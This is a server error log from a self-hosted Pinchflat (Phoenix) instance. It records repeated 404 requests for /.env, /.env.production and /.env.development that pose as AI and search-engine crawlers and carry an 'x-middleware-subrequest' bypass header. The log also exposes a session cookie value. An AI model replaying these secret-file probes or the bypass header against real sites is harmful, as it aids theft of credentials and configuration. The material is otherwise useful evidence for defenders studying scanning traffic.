MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29719.0>, params: %{"raw" => ""}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw" => ""}, query_string: "raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61dgaiCBstlkABwMh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29718.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34126}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29718.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34126}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", str (truncated) 16:49:08.151 [info] GET /.env 16:49:08.151 [debug] QUERY OK source="settings" db=0.0ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.151 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.151 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.151 [error] #PID<0.29721.0> running PinchflatWeb.Endpoint (connection #PID<0.29720.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env?import&url&inline ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29720.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34136}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&url&inline", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29721.0>, params: %{"import" => "", "inline" => "", "url" => ""}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "inline" => "", "url" => ""}, query_string: "import&url&inline", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61dhaxe_PWqwABwNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29720.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34136}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&url&inline", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29720.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34136}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: (truncated) 16:49:08.224 [info] GET /.env.development 16:49:08.224 [debug] QUERY OK source="settings" db=0.0ms idle=79.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.224 [debug] QUERY OK source="settings" db=0.0ms idle=77.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.224 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.224 [error] #PID<0.29723.0> running PinchflatWeb.Endpoint (connection #PID<0.29722.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.development?raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29722.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34152}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29723.0>, params: %{"raw" => ""}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw" => ""}, query_string: "raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.development", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61dyzeUAxdCgABwNh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29722.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34152}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29722.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34152}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", (truncated) 16:49:08.247 [info] GET /.env.development 16:49:08.247 [debug] QUERY OK source="settings" db=0.0ms idle=99.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.247 [debug] QUERY OK source="settings" db=0.0ms idle=95.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.247 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.247 [error] #PID<0.29725.0> running PinchflatWeb.Endpoint (connection #PID<0.29724.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.development?import&raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29724.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29725.0>, params: %{"import" => "", "raw" => ""}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw" => ""}, query_string: "import&raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.development", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61d4PS08a9soABwOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29724.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34164}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => 